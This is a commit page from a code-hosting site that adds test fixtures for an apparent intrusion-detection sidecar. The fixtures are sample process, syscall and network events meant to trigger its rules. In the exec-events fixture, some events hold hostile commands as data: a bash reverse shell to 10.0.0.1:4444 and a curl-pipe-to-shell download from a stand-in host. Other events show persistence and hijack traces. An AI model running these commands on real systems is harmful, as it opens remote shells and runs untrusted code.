luna/enodia-sentinal
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

feat(go): advance validation sidecar toward production

Browse source
This commit is contained in:
Luna 2026-07-22 01:52:19 -07:00
parent 6a06eba255
commit f85c2e831a
No known key found for this signature in database
92 changed files with 8881 additions and 91 deletions
Download patch file Download diff file Expand all files Collapse all files

6
tests/fixtures/go/correlation-incidents.json vendored Normal file
View file

@ -0,0 +1,6 @@
[
{"first_ts":1000.0,"last_ts":1050.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
{"first_ts":2000.0,"last_ts":2010.0,"signatures":["host_rule.suspicious-listener","exec_rule.web-rce","new_listener"]},
{"first_ts":3000.0,"last_ts":3601.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
{"first_ts":4000.0,"last_ts":4010.0,"signatures":["exec_rule.web-rce"]}
]

50
tests/fixtures/go/exec-events.json vendored Normal file
View file

@ -0,0 +1,50 @@
[
{
"pid": 1001,
"ppid": 1,
"uid": 1000,
"parent_comm": "bash",
"filename": "/tmp/.x/dropper",
"argv": []
},
{
"pid": 1002,
"ppid": 1001,
"uid": 1000,
"parent_comm": "bash",
"filename": "/bin/bash",
"argv": ["-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"]
},
{
"pid": 1003,
"ppid": 55,
"uid": 33,
"parent_comm": "nginx",
"filename": "/bin/sh",
"argv": ["-c", "id"]
},
{
"pid": 1004,
"ppid": 1000,
"uid": 1000,
"parent_comm": "bash",
"filename": "/bin/sh",
"argv": ["-c", "curl http://example.invalid/x | sh"]
},
{
"pid": 1005,
"ppid": 99,
"uid": 1000,
"parent_comm": "cron",
"filename": "/opt/custom/tool",
"argv": ["danger", "now"]
},
{
"pid": 1006,
"ppid": 1,
"uid": 1000,
"parent_comm": "bash",
"filename": "/usr/bin/ls",
"argv": ["-la"]
}
]

1
tests/fixtures/go/exec-rules-config.toml vendored Normal file
View file

@ -0,0 +1 @@
exec_rules_file = "../tests/fixtures/go/exec-rules.toml"

9
tests/fixtures/go/exec-rules.toml vendored Normal file
View file

@ -0,0 +1,9 @@
[[exec_rules]]
sid = 190001
msg = "Custom replay rule"
severity = "medium"
classtype = "custom-exec"
path_prefixes = ["/opt/custom/"]
parent_comm = ["cron"]
argv_regex = 'danger\s+now'
parent_exclude = ["sshd"]

14
tests/fixtures/go/host-events.json vendored Normal file
View file

@ -0,0 +1,14 @@
[
{"event":"tcp_connect","pid":3001,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":4444,"local_ip":"10.0.0.5","local_port":51510},
{"event":"listen","pid":3002,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
{"event":"bind","pid":3003,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
{"event":"file_write","pid":3004,"ppid":1,"uid":1000,"comm":"python3","path":"/etc/systemd/system/evil.service"},
{"event":"chmod","pid":3005,"ppid":1,"uid":0,"comm":"chmod","path":"/etc/cron.d/evil","mode":"0o777"},
{"event":"setuid","pid":3006,"ppid":1,"uid":1000,"comm":"python3","target_uid":"0"},
{"event":"setgid","pid":3007,"ppid":1,"uid":1000,"comm":"python3","target_gid":"0"},
{"event":"accept","pid":3008,"ppid":1,"uid":1000,"comm":"python3","remote_ip":"8.8.8.8","remote_port":"51515","local_ip":"0.0.0.0","local_port":"4444"},
{"event":"capset","pid":3009,"ppid":1,"uid":1000,"comm":"python3","capability":"CAP_SYS_ADMIN"},
{"event":"module_load","pid":3010,"ppid":1,"uid":0,"comm":"insmod","path":"/tmp/evil.ko","name":"evil"},
{"event":"tcp_connect","pid":3011,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":443},
{"event":"tcp_connect","pid":3012,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"10.0.0.2","peer_port":4444}
]

3
tests/fixtures/go/mixed-events.jsonl vendored Normal file
View file

@ -0,0 +1,3 @@
{"type":"execve","pid":"4001","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}
{"type":"sys","pid":"4002","ppid":"1","uid":"1000","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}
{"type":"listen","pid":"4003","ppid":"1","uid":"1000","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}

9
tests/fixtures/go/process-detectors.json vendored
View file

@ -1,5 +1,13 @@
{
"ld_preload": "/tmp/global.so\n/opt/second.so",
"listener_baseline": [],
"suid_baseline": ["/usr/bin/sudo"],
"suid_binaries": ["/tmp/evil", "/usr/bin/sudo", "/usr/local/bin/newtool"],
"persist_since": 100,
"persistence_files": {"/etc/cron.d/evil": 101},
"first_seen_initialized": true,
"first_seen_public_destinations": {"bash": ["1.1.1.1:443"]},
"first_seen_listener_ports": {"nc": ["22"]},
"processes": [
{"pid": 100, "comm": "bash", "cmdline": "bash -i", "exe": "/usr/bin/bash", "fd_targets": {"0": "socket:[999]"}},
{"pid": 200, "comm": "sleep", "cmdline": "sleep", "exe": "/usr/bin/sleep", "environ": {"LD_PRELOAD": "/tmp/evil.so"}},
@ -25,5 +33,6 @@
{"state": "ESTAB", "local": "10.0.0.2:5000", "peer": "8.8.8.8:4443", "inode": 1, "comm": "hoxha", "pid": 340, "kind": "sctp"},
{"state": "UNCONN", "local": "*:eth0", "peer": "*", "inode": 2, "comm": "tcpdump", "pid": 341, "kind": "packet"},
{"state": "ESTAB", "local": "10.0.0.2:6000", "peer": "10.0.0.5:443", "inode": 3, "comm": "python3", "pid": 342, "kind": "tcp"}
,{"state": "LISTEN", "local": "0.0.0.0:31337", "peer": "0.0.0.0:*", "inode": 4, "comm": "nc", "pid": 500, "kind": "tcp"}
]
}

10
tests/fixtures/go/syscall-events.json vendored Normal file
View file

@ -0,0 +1,10 @@
[
{"pid": 2001, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]},
{"pid": 2002, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]},
{"pid": 2003, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "memfd_create", "args": [0, 0, 0], "text": "payload"},
{"pid": 2004, "ppid": 1, "uid": 1000, "comm": "debugger", "syscall": "ptrace", "args": [16, 5000, 0]},
{"pid": 2005, "ppid": 1, "uid": 1000, "comm": "sandbox", "syscall": "seccomp", "args": [0, 0, 0]},
{"pid": 2006, "ppid": 1, "uid": 1000, "comm": "scanner", "syscall": "process_vm_readv", "args": [5000, 0, 0]},
{"pid": 2007, "ppid": 1, "uid": 1000, "comm": "secretstore", "syscall": "mlock", "args": [140000000, 4096, 0]},
{"pid": 2008, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 5]}
]